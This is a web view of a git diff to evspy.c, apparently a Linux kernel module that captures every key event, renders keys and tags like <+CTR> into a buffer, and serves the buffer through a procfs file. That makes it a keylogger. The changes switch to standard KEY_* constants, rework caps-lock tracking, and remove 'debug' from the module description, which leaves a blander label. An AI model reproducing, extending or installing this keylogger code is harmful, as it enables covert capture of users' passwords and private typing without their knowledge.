summaryrefslogtreecommitdiff
path: root/evspy/evspy.c
diff options
context:
space:
mode:
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r--evspy/evspy.c78
1 files changed, 35 insertions, 43 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 3216a62..8703bf1 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -42,20 +42,15 @@ static char *buffer;
static char *rdp;
static char *wrp;
static char *map = EVS_MAP; // The current keyboard layout
+static unsigned int capslock_state = EVS_VAL_FREE;
// This is how special keys will be displayed (+: pressed / -: freed)
static char sp_tag[] = "<+XXX>";
-
-/*
- * Sometimes when blkmayus is pressed two identical events are triggered.
- * blkmayus_state is meant to know if it has been already pressed,
- * and discards the second event in that case
- */
-static unsigned int blkmayus_state = EVS_VAL_FREE;
-
/*
* Executed when the procfs file is read (EVS_PROCNAME)
+ *
+ * TODO: Take a look at kernel's circular list implementation
*/
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
@@ -113,12 +108,12 @@ static void special_char(unsigned int code, unsigned int value)
// We don't care when some keys are freed
switch(code) {
- case EVS_COD_RMAYUS:
- case EVS_COD_LMAYUS:
- case EVS_COD_ALT:
- case EVS_COD_LCTRL:
- case EVS_COD_RCTRL:
- case EVS_COD_ALTGR:
+ case KEY_LEFTSHIFT:
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTALT:
+ case KEY_RIGHTALT:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
break;
default:
if (value == EVS_VAL_FREE)
@@ -126,47 +121,46 @@ static void special_char(unsigned int code, unsigned int value)
}
switch(code) {
- case EVS_COD_RMAYUS:
- case EVS_COD_LMAYUS:
- strncpy(sp_tag+2, "MAY", 3);
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTSHIFT:
+ strncpy(sp_tag+2, "SFT", 3);
break;
- case EVS_COD_ALT:
+ case KEY_LEFTALT:
strncpy(sp_tag+2, "ALT", 3);
break;
- case EVS_COD_ALTGR:
+ case KEY_RIGHTALT:
strncpy(sp_tag+2, "AGR", 3);
break;
- case EVS_COD_LCTRL:
- case EVS_COD_RCTRL:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
strncpy(sp_tag+2, "CTR", 3);
break;
- case EVS_COD_TAB:
+ case KEY_TAB:
strncpy(sp_tag+2, "TAB", 3);
break;
- case EVS_COD_ESC:
+ case KEY_ESC:
strncpy(sp_tag+2, "ESC", 3);
break;
- case EVS_COD_UP_AR:
- strncpy(sp_tag+2, "^^A", 3);
+ case KEY_UP:
+ strncpy(sp_tag+2, " ^ ", 3);
break;
- case EVS_COD_DOWN_AR:
- strncpy(sp_tag+2, "vvA", 3);
+ case KEY_DOWN:
+ strncpy(sp_tag+2, " v ", 3);
break;
- case EVS_COD_LEFT_AR:
- strncpy(sp_tag+2, "<<A", 3);
+ case KEY_LEFT:
+ strncpy(sp_tag+2, " < ", 3);
break;
- case EVS_COD_RIGHT_AR:
- strncpy(sp_tag+2, ">>A", 3);
+ case KEY_RIGHT:
+ strncpy(sp_tag+2, " > ", 3);
break;
default:
known = 0;
}
- if (!known && isfX(code)) {
+ if (!known && evs_isfX(code)) {
// TODO: Which F key has been pressed?
strncpy(sp_tag+2, "F??", 3);
} else if (!known) {
-// strncpy(sp_tag+2, "UNK", 3); // Uncomment this to display unknown events
return;
}
@@ -176,7 +170,7 @@ static void special_char(unsigned int code, unsigned int value)
sp_tag[1] = '-';
for (i = 0; i < sizeof(sp_tag) - 1; i++)
- evs_insrt(sp_tag[i]);
+ evs_insert(sp_tag[i]);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -186,24 +180,22 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
if (unlikely(value == EVS_VAL_HOLD))
return;
- // If bloq mayus is pressed, handle it the same way as left mayus
- if (type == EVS_TYPE_BLKMAYUS) {
- if (value != blkmayus_state)
- special_char(EVS_COD_LMAYUS, value);
- blkmayus_state = value;
+ // If caps lock is pressed, handle it the same way as left shift
+ if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
+ capslock_state = !capslock_state;
+ special_char(KEY_LEFTSHIFT, capslock_state);
return;
} else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
return;
}
-
// Special/unknown keys (alt, ctrl, esc, mayus, etc)
- if (map[code] == '.' && likely(code != EVS_COD_DOT))
+ if (map[code] == '.' && likely(code != KEY_DOT))
special_char(code, value);
// "Direct" keys (alphanumeric + some symbols)
else if (value == EVS_VAL_PRESS) {
- evs_insrt(map[code]);
+ evs_insert(map[code]);
}
}
@@ -281,5 +273,5 @@ module_exit(evspy_exit);
MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
-MODULE_DESCRIPTION("Custom input driver event debug module");
+MODULE_DESCRIPTION("Custom input driver event module");
MODULE_LICENSE("GPL");